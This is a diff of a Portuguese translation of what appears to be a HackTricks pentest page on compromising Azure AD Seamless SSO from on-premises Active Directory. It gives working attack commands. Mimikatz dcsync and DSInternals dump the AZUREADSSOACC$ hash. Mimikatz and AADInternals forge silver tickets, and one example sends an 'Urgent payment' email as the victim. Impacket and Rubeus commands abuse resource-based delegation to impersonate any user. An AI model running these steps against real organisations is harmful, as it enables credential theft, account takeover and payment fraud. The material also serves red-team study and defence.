+Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+
+### Obtendo hashes da conta AZUREADSSOACC$
+
+A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta** e, em seguida, usá-lo para **criar tickets silver** para se conectar ao Azure com **qualquer usuário local sincronizado**:
 ```bash
 # Dump hash using mimikatz
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -38,14 +87,20 @@ Import-Module DSInternals
 $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
-Com o hash, você agora pode **gerar tickets silver**:
+> [!NOTE]
+> Com as informações atuais, você poderia apenas usar a ferramenta **SeamlessPass** conforme indicado anteriormente para obter tokens azure e entraid para qualquer usuário no domínio.
+> Você também poderia usar as técnicas anteriores (e outras) para obter o hash da senha da vítima que deseja impersonar em vez da conta `AZUREADSSOACC$`.
+
+#### Criando Silver Tickets
+
+Com o hash, você agora pode **gerar silver tickets**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

 # Create a silver ticket to connect to Azure with mimikatz
-Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
-mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
+Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
+mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

 # Create silver ticket with AADInternal to access Exchange Online
 $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
@@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
 ## Send email
 Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
 ```
+### Usando Silver Tickets com Firefox
+
 Para utilizar o silver ticket, os seguintes passos devem ser executados:

 1. **Iniciar o Navegador:** O Mozilla Firefox deve ser iniciado.
 2. **Configurar o Navegador:**
 - Navegue até **`about:config`**.
- Defina a preferência para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) para os [valores](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificados:
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
+- Defina a preferência para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) para o [valor](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificado:
+- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
+- Navegue até `Configurações` do Firefox > Pesquise por `Permitir autenticação única do Windows para contas Microsoft, de trabalho e escolares` e ative-a.
 3. **Acessar a Aplicação Web:**
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [Office 365](https://portal.office.com/).
+- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [login.microsoftonline.com](https://login.microsoftonline.com/).
 4. **Processo de Autenticação:**
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.
+- Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco.
 - Para prosseguir, pressione TAB ou ENTER.

-> [!TIP]
-> Isso não contorna o MFA se estiver habilitado
+> [!WARNING]
+> Isso **não contorna o MFA se habilitado** para o usuário.

-#### Opção 2 sem dcsync - SeamlessPass

-Também é possível realizar este ataque **sem um ataque dcsync** para ser mais furtivo, como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para isso, você só precisa de um dos seguintes:
+### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

- **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas, como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Golden Ticket**: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
- **Hash NTLM ou chave AES de um usuário comprometido:** O SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT.
- **Hash NTLM ou chave AES da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
+Para realizar o ataque é necessário:

-Finalmente, com o TGT, é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com:
+- `WriteDACL` / `GenericWrite` sobre `AZUREADSSOACC$`
+- Uma conta de computador que você controla (hash e senha) - Você pode criar uma
+
+
+1. Passo 1 – Adicione sua própria conta de computador
+- Cria `ATTACKBOX$` e imprime seu SID/hash NTLM. Qualquer usuário do domínio pode fazer isso enquanto MachineAccountQuota > 0
+```bash
+# Impacket
+python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
+-computer ATTACKBOX$ -password S3cureP@ss
 ```
-seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
+2. Etapa 2 – Conceder RBCD em `AZUREADSSOACC$` - Escreve o SID da sua máquina em `msDS-AllowedToActOnBehalfOfOtherIdentity`.
+```bash
+python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
+ATTACKBOX$ AZUREADSSOACC$
+
+# Or, from Windows:
+$SID = (Get-ADComputer ATTACKBOX$).SID
+Set-ADComputer AZUREADSSOACC$ `
+-PrincipalsAllowedToDelegateToAccount $SID
 ```
-Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+3. Etapa 3 – Forjar um TGS para qualquer usuário (por exemplo, alice)
+```bash
+# Using your machine's password or NTLM hash
+python3 getST.py -dc-ip 192.168.1.10 \
+-spn HTTP/autologon.microsoftazuread-sso.com \
+-impersonate alice \
+DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

-#### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+# Produces alice.autologon.ccache

-Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário da nuvem**. Dessa forma, os **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
+#Or, from Windows:
+Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
+/impersonateuser:alice `
+/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
+```
+Você agora pode usar o **TGS para acessar recursos do Azure como o usuário impersonado.**
+
+
+### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+
+Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário na nuvem**. Dessa forma, **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).

 > [!CAUTION]
 > Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\
 > Para mais informações, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)

-### On-prem -> Nuvem via Delegação Constrained Baseada em Recurso <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

-Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la**.
-```python
-python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
-```
+
 ## Referências

 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
 - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
 - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: Estou na sua nuvem, lendo os e-mails de todo mundo - hackeando o Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+- [TR19: Estou na sua nuvem, lendo os e-mails de todos - hackeando o Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)

 {{#include ../../../../banners/hacktricks-training.md}}